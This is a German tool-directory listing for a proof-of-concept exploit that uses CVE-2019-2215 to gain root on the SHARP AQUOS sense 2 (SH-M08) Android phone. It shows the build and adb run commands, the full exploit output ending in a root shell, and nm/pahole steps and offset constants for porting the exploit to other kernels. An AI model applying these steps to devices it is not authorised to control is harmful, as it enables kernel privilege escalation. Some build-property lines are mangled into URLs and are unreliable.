Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2019-2215_SH-M08 — Proof-of-concept-Exploit für CVE-2019-2215, der auf den Android-Kernel abzielt, um eine Root-Rechteausweitung auf dem AQUOS sense 2 (SH-M08) zu erreichen. Enthält kernel R/W und Shell-Erzeugung. | Kitploit
Tools/GitHubGitHub/mouseos/cve-2019-2215_sh-m08
Android-SicherheitPrivilege EscalationExploitationPayload-EntwicklungBinary-Exploitation
GitHubmouseos/cve-2019-2215_sh-m08

cve-2019-2215_SH-M08

Proof-of-concept-Exploit für CVE-2019-2215, der auf den Android-Kernel abzielt, um eine Root-Rechteausweitung auf dem AQUOS sense 2 (SH-M08) zu erreichen. Enthält kernel R/W und Shell-Erzeugung.

Repository anzeigen
211vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Dies ist ein Port des Proof-of-Concept-Codes, der auf Android-Geräten, die mit Sicherheitspatches vor Oktober 2019 versehen sind, Root-Zugriff ermöglicht, für das AQUOS sense 2 (SH-M08).

Umgebung

Die Funktionalität wurde mit den folgenden OS-Versionen bestätigt. Für andere Versionen oder Modelle folgen Sie bitte dem Abschnitt „Portierungsmethode“.

root@kitploit:~
[ro.build.date]: [2019年  3月 20日 水曜日 04:58:03 JST]
[ro.build.description]: [Anasui-user 8.1.0 S3200 01.00.02 release-keys]
[ro.build.display.id]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/main/%5B01.00.02%5D
[ro.build.fingerprint]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/main/%5BSHARP/SH-M08/SH-M08:8.1.0/S3200/01.00.02:user/release-keys%5D
[ro.build.id]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/main/%5BS3200%5D
[ro.build.product]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/main/%5BAnasui%5D

Build-Methode

aarch64-linux-android21-clang -pie poc.c -o poc

Temporären Root-Zugriff erlangen

root@kitploit:~
$ adb push poc /data/local/tmp
$ adb shell

SH-M08:/ $ /data/local/tmp/poc shell
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: Finished write to FIFO.
writev() returns 0x2000
PARENT: Finished calling READV
current_ptr == 0xffffffc0617bb800
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
recvmsg() returns 49, expected 49
should have stable kernel R/W now :)
current->mm == 0xffffffc0a8e1f840
current->mm->user_ns == 0xffffff8009e225d8
kernel base is 0xffffff8008280000
&init_task == 0xffffff8009e16000
init_task.cred == 0xffffff8009e23dd0
init->cred
00000000  04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000030  ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00  |....?.......?...|
00000040  ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00  |....?...........|
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00 80 35 3e 5a c0 ff ff ff  |.........5>Z....|
00000080  70 25 e2 09 80 ff ff ff d8 25 e2 09 80 ff ff ff  |p%.......%......|
00000090  78 3e e2 09 80 ff ff ff 00 00 00 00 00 00 00 00  |x>..............|
000000a0  00 00 00 00 00 00 00 00 a7 01 00 00 00 00 00 00  |................|
000000b0  e0 ff ff ff 0f 00 00 00 88 3e e2 09 80 ff ff ff  |.........>......|
000000c0  88 3e e2 09 80 ff ff ff 84 c9 0c 08 80 ff ff ff  |.>..............|
current->cred == 0xffffffc0a9b549c0
Starting as uid 2000
current->cred
00000000  19 00 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00  |................|
00000010  d0 07 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00  |................|
00000020  d0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000040  c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff  |................|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff  |...........6....|
00000080  80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff  |.........%......|
00000090  80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000c0  c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00  |.@..............|
00000000  00 00 00 00 00 00 00 00 fe ff ff ff ff ff ff ff  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
init->security_cred
00000000  01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
current->security_cred
00000000  ee 03 00 00 ee 03 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
Escalating...
UIDs changed to root!
Capabilities set to ALL
SELinux status = 0
SELinux is already in permissive mode
Re-joining the init mount namespace...
Re-joining the init net namespace...
SECCOMP is already disabled!
------------------
00000000  1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000030  ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00  |....?.......?...|
00000040  ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00  |....?...........|
00000050  00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff  |................|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff  |...........6....|
00000080  80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff  |.........%......|
00000090  80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000c0  c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00  |.@..............|
Spawning shell!
SH-M08:/ #

Portierungsmethode

Kernel-Binärdatei beschaffen

Besorgen Sie sich den aktuell auf dem Gerät laufenden Kernel. Dafür gibt es zwei Methoden:

  1. Extraktion aus OTA Wenn OTA-Update eine boot.img oder recovery.img enthält, beziehen Sie die Binärdatei daraus. Stellen Sie sicher, dass es sich um die gleiche Version handelt, die Sie verwenden. Es ist auch möglich, Google OTA mit dem folgenden Tool zu extrahieren: https://github.com/mouseos/android-checkin-py.git Aus boot.img etc. kann mit abootimg die zImage extrahiert werden. Die zImage kann mit extract-vmlinux in vmlinux umgewandelt werden.

  2. Kernel selbst bauen Bauen Sie die offiziell veröffentlichten Kernel-Quellen. Verwenden Sie unbedingt die gleiche defconfig wie das derzeit laufende Gerät. Ändern Sie den Code während des Builds nach Möglichkeit nicht. Nach dem Build sollte eine vmlinux-Datei erstellt werden.

Benötigte Offsets extrahieren

  1. Suchen Sie zunächst mit dem Befehl nm nach den folgenden Offsets.
root@kitploit:~
$ nm -n ./vmlinux | grep ' _head$'
ffffff8008080000 t _head
$ nm -n ./vmlinux | grep ' init_user_ns$'
ffffff8009c225d8 D init_user_ns
$ nm -n ./vmlinux | grep ' init_task$'
ffffff8009c16000 D init_task
$ nm -n ./vmlinux | grep ' init_uts_ns$'
ffffff8009c15dc0 D init_uts_ns
$ nm -n ./vmlinux | grep ' selinux_enforcing$'
ffffff8009de2000 D selinux_enforcing
  1. Berechnen Sie die Konstanten mit folgender Formel: {Wert des jeweiligen Offsets} - {Wert von _head} Im obigen Beispiel ergeben sich folgende Konstanten:
root@kitploit:~
#define SYMBOL__init_user_ns 0x1BA25D8
#define SYMBOL__init_task 0x1B96000
#define SYMBOL__init_uts_ns 0x1B95DC0

#define SYMBOL__selinux_enforcing 0x1D62000
  1. Als Nächstes ermitteln Sie die Struktur-Offsets mit dem Befehl pahole.
root@kitploit:~
$ pahole -C task_struct vmlinux | grep -E ' mm;'
        struct mm_struct *         mm;                   /*  1336     8 */

1336 in Hexadezimal ergibt 0x538

Daraus folgt: #define OFFSET__task_struct__mm 0x538

root@kitploit:~
$ pahole -C task_struct vmlinux | grep -E ' cred;'
        const struct cred  *       cred;                 /*  1944     8 */

1944 in Hexadezimal ergibt 0x798

Daraus folgt: #define OFFSET__task_struct__cred 0x798

root@kitploit:~
$ pahole -C mm_struct vmlinux | grep ' user_ns;'
        struct user_namespace *    user_ns;              /*   752     8 */

752 in Hexadezimal ergibt 0x2f0

Daraus folgt: #define OFFSET__mm_struct__user_ns 0x2F0

Fehlerbehebung

pahole: file 'vmlinux' has no supported type information.

root@kitploit:~
$ pahole vmlinux
libbpf: failed to find '.BTF' ELF section in vmlinux
pahole: file 'vmlinux' has no supported type information.

Die vmlinux-Datei enthält nicht die erforderlichen Informationen für die Analyse mit pahole. In diesem Fall ist eine Analyse nicht möglich – nutzen Sie den selbst gebauten Kernel aus den vom Hersteller veröffentlichten Quellen.

Das Gerät stürzt ab

Einer der Offsets ist falsch.

Es funktioniert nicht

Das Verfahren funktioniert nicht auf Betriebssystemen mit Sicherheitspatches vom Oktober 2019 oder später.

Urheberinformation

qu1ckr00t

Dieser Code basiert auf dem POC von Grant H. https://github.com/grant-h/qu1ckr00t

Tool herunterladen
KonstantennameOffsetwertOffsetwert - _head Wert
SYMBOL__init_user_ns0xffffff8009c225d80x1BA25D8
SYMBOL__init_task0xffffff8009c160000x1B96000
SYMBOL__init_uts_ns0xffffff8009c15dc00x1B95DC0
SYMBOL__selinux_enforcing0xffffff8009de20000x1D62000